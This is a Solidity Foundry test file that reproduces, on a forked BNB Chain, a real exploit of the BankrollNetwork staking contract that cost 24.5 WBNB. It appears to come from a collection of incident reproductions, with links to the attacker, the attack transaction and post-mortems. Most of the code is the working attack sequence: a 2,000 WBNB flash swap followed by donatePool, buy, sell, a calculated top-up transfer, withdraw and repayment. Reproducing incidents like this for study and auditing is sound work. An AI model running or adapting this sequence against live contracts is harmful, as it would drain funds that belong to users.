src/test/2025-06/BankrollNetwork_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3 
4import "../basetest.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : 24.5 WBNB
8// Attacker : https://bscscan.com/address/0x2dea406bb3bea68d6be8d9ef0071fdf63082fb52
9// Attack Contract : https://bscscan.com/address/0xe63a5c681cacb8484c8a989cfdd41b8e3b7a2be2
10// Vulnerable Contract : https://bscscan.com/address/0xAdEfb902CaB716B8043c5231ae9A50b8b4eE7c4e
11// Attack Tx : https://bscscan.com/tx/0x7226b3947c7e8651982e5bd777bca52d03ea31d19b515dec123595a4435ae22c
12 
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/address/0xAdEfb902CaB716B8043c5231ae9A50b8b4eE7c4e#code
15 
16// @Analysis
17// Post-mortem : https://x.com/Phalcon_xyz/status/1943518566831296566
18// Twitter Guy : https://x.com/TenArmorAlert/status/1935618109802459464
19// Hacking God : N/A
20pragma solidity ^0.8.0;
21 
22contract BankrollNetwork is BaseTestWithBalanceLog {
23    uint256 blocknumToForkFrom = 51_715_418 - 1;
24    uint256 borrow_amount;
25    
26    IWBNB WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
27    IUniswapV2Pair pair = IUniswapV2Pair(0x16b9a82891338f9bA80E2D6970FddA79D1eb0daE);
28    IBankrollNetworkStack bankRollNetwork = IBankrollNetworkStack(0xAdEfb902CaB716B8043c5231ae9A50b8b4eE7c4e);
29    
30 
31    function setUp() public {
32        vm.createSelectFork("bsc", blocknumToForkFrom);
33        //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
34        fundingToken = address(WBNB);
35    }
36 
37    function testExploit() public balanceLog {
38        emit log_named_decimal_uint("[Begin] Attacker WBNB before exploit", WBNB.balanceOf(address(this)), 18);
39 
40        borrow_amount = 2_000 ether;
41        pair.swap(0, borrow_amount, address(this), "0x3030");
42 
43        emit log_named_decimal_uint("[End] Attacker WBNB after exploit", WBNB.balanceOf(address(this)), 18);
44    }
45    
46      
47    function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) external {
48        WBNB.approve(address(bankRollNetwork), type(uint256).max);
49        
50        emit log_named_decimal_uint("[Before] Attacker bank roll balance", bankRollNetwork.myTokens(), 0);
51        emit log_named_decimal_uint("[Before] Attacker bank roll dividends", bankRollNetwork.myDividends(), 0);
52                       
53        bankRollNetwork.donatePool(1000 ether);
54        
55        bankRollNetwork.buy(240 ether);
56        
57        emit log_named_decimal_uint("[After] Attacker bank roll balance", bankRollNetwork.myTokens(), 0);
58        emit log_named_decimal_uint("[After] Attacker bank roll dividends", bankRollNetwork.myDividends(), 0);
59        
60        bankRollNetwork.sell(bankRollNetwork.myTokens());
61        
62        uint256 topUp = 94064984776383565540;
63        WBNB.transfer(address(bankRollNetwork), topUp);
64        
65        bankRollNetwork.withdraw();
66        
67        uint256 repay_amount = 2005200000000000000000;
68        WBNB.transfer(address(pair), repay_amount);
69}
70 
71	 receive() external payable {}
72}
73        
74     interface IBankrollNetworkStack {
75	function donatePool(uint256 tokenAmount) external;     
76	function buy(uint256 tokenAmount) external returns (uint256);
77	function sell(uint256 tokenAmount) external;
78	function myTokens() external view returns (uint256);
79	function myDividends() external view returns (uint256);
80	function withdraw() external;
81}
82    
83